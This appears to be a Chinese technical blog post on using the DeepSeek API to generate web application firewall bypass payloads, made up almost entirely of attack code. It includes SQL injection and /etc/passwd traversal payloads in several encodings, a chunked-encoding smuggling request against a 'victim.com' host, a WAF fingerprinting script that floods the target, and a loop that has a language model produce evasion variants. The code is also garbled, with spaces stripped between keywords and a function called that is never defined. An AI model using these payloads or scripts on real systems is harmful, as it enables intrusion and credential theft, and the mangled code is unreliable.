基于DeepSeek的WAF绕过技术研究与实践

graph LRA[基础绕过] --> B[协议层突破]B --> C[AI对抗]C --> D[动态防御体系]

import requestsdefgenerate_evasion_攻击载荷(original_攻击载荷):    api_key = "your_api_key"    headers = {"Authorization": f"Bearer {api_key}"}    攻击载荷 = {"model": "deepseek-r1","temperature": 0.6, "messages": [{"role": "user","content": f"生成WAF绕过变体，要求：n1.保留原始语义n2.使用混合编码n3.添加无害注释n原始载荷：{original_攻击载荷}"        }]    }    response = requests.post("https://api.deepseek.com/v1/chat/completions",                            json=攻击载荷,                            headers=headers)return response.json()['choices'][0]['message']['content']# 示例调用original_sql = "' UNION SELECT username, password FROM users --"evasion_sql = generate_evasion_攻击载荷(original_sql)print(f"生成载荷：{evasion_sql}")

POST/test HTTP/1.1Transfer-Encoding: chunked2id3=1'10UNION SELECT0

from hyper import HTTPConnectiondefsend_chunked_request(target_url):    conn = HTTPConnection(target_url, secure=True)    conn.request('POST', '/api',                  body=b"2rnidrn3rn=1'rn0rnrn", # 分块载荷                 headers={'Transfer-Encoding': 'chunked','Content-Type': 'text/plain; charset=utf-8'                 })    resp = conn.get_response()return resp.status, resp.read()# 示例执行status, body = send_chunked_request("victim.com")print(f"响应状态：{status}, 内容长度：{len(body)}")

# Base64编码变体攻击载荷 = "L2V0Yy9wYXNzd2Q="# /etc/passwd# Unicode编码变体攻击载荷 = "%u002f%u0065%u0074%u0063%u002f%u0070%u0061%u0073%u0073%u0077%u0064"

import requestsimport redefdetect_waf_type(url, test_攻击载荷):"""    发送探测请求识别WAF类型    返回规则匹配型/语义分析型/行为分析型/RASP防护型    """    probes = [        ("规则匹配型", f"{url}?id=1' UNION SELECT 1,2,3--"), # 基础SQL注入        ("语义分析型", f"{url}?id=call_user_func('eva'+'l','malicious_code')"), # 代码拆分        ("行为分析型", None) # 通过高频请求触发    ]# 首次请求获取基线响应    normal_res = requests.get(url)    baseline = {"status": normal_res.status_code,"content_length": len(normal_res.content),"server_header": normal_res.headers.get("Server", "")    }# WAF指纹库    waf_signatures = {"ModSecurity": (403, r"Mod_Security|OWASP"),"Cloudflare": (503, r"cloudflare"),"阿里云盾": (405, r"yundun"),"雷池": (418, r"SafeLine")    }# 发送探测请求for probe_type, 攻击载荷 in probes:if 攻击载荷:            res = requests.get(f"{url}?id={攻击载荷}")else: # 行为分析型检测for _ in range(100): # 高频请求                requests.get(url)            res = requests.get(url)# 分析响应特征for waf_name, (status, pattern) in waf_signatures.items():if res.status_code == status and re.search(pattern, res.text, re.I):return waf_name, probe_type# 通用类型判断if res.status_code != baseline["status"] or           len(res.content) != baseline["content_length"]:return"未知WAF", probe_typereturn"未检测到WAF", Nonedefgenerate_adaptive_攻击载荷(target_url, original_攻击载荷, attack_type):"""    动态生成适配当前WAF的攻击载荷    """# 步骤1：WAF类型检测    waf_name, waf_mode = detect_waf_type(target_url, original_攻击载荷)# 步骤2：构建动态提示词    prompt = f"""根据以下WAF特征生成绕过载荷：- WAF名称：{waf_name}- 拦截模式：{waf_mode}- 攻击类型：{attack_type}- 原始特征：{original_攻击载荷}要求：1. 混合使用三种编码技术2. 添加无害干扰符（如零宽空格）3. 输出JSON格式，包含攻击载荷和comment字段"""# 步骤3：调用DeepSeek API    api_key = "your_deepseek_api_key"    response = requests.post("https://api.deepseek.com/v1/chat/completions",        headers={"Authorization": f"Bearer {api_key}"},        json={"model": "deepseek-r1","messages": [{"role": "user", "content": prompt}],"temperature": 0.7,"response_format": {"type": "json_object"}        }    )if response.status_code == 200:return response.json()['choices'][0]['message']['content']else:returnf"生成失败，状态码：{response.status_code}"# 使用示例if __name__ == "__main__":    target_url = "http://example.com/vulnerable_page"    original_攻击载荷 = "../../etc/passwd"# 动态生成攻击载荷    adaptive_攻击载荷s = generate_adaptive_攻击载荷(        target_url,         original_攻击载荷,"path_traversal"    )    print("智能生成的绕过载荷：")    print(adaptive_攻击载荷s)# 示例输出可能包含："""{  "攻击载荷s": [    {      "攻击载荷": "%u002f%u0065%u200bt%u0063%u002f%u0070%u0061%u0073%u0073%u0077%u0064",      "comment": "Unicode零宽空格注入，绕过雷池WAF的规则匹配"    },    {      "攻击载荷": "L2V0Yy9wYXNzd2Q=",      "comment": "Base64编码变体，规避语义分析检测"    },    {      "攻击载荷": "/%65%74%63%2f%70%61%73%73%77%64%23",      "comment": "URL编码+注释符，针对Cloudflare的路径检测"    }  ]}"""

# 上传WAF拦截日志进行特征分析with open("waf_logs.txt", "r") asf:    logs = f.read()analysis_result = generate_waf_bypass_攻击载荷(logs, "rule_analysis")

# 测试Cloudflare防护站点print(generate_adaptive_攻击载荷("https://cloudflare-protected.com", "' OR 1=1", "sql_injection"))

from selenium import webdriverdeftest_攻击载荷(攻击载荷):    driver = webdriver.Chrome()    driver.get(f"http://target.com?input={攻击载荷}")return"漏洞触发"in driver.page_source